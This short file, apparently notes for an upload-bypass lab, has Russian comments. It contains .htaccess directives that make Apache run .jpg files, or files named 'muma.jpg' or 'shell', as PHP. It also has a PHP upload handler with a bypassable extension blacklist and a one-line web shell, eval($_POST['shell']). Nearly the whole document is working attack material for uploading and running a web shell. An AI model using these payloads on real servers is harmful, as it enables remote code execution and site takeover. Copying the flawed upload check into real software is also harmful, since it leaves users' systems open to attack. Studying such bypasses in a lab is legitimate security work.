<ifModule mime_module>

AddHandler php5-script .jpg
<!-- Разберите и выполните файл .jpg в соответствии с PHP-кодом. -->

AddType application/x-httpd-php .jpg
<!-- Разберите и выполните файл .jpg в соответствии с PHP-кодом. -->

Sethandler application/x-httpd-php
<!-- Разберите и выполните файлы в этом каталоге и подкаталогах в соответствии с файлом php. -->

</ifModule>
<!-- Этот метод сопоставления не рекомендуется и может легко привести к случайным травмам. -->


<FilesMatch "muma.jpg">

Sethandler application/x-httpd-php
<!-- будет соответствовать muma.jpg Файл анализируется и выполняется в соответствии с php. -->

Addhandler php5-script .jpg
<!-- будет соответствовать muma.jpg Файл анализируется и выполняется в соответствии с php. -->

</FilesMatch>
<!-- Этот метод сопоставления более точен и не вызовет большого количества случайных травм. -->

<?php 
    
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('Загрузка успешна')</script>";
            echo "Относительный путь загрузки файла<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('Загрузка не удалась')</script>";
        }
    } else {
        echo "<script>alert('Несоответствие типа файла')</script>";
    }
}

?>

<FilesMatch "shell">
Sethandler application/x-httpd-php
</FilesMatch>

<?php eval($_POST['shell']) ?>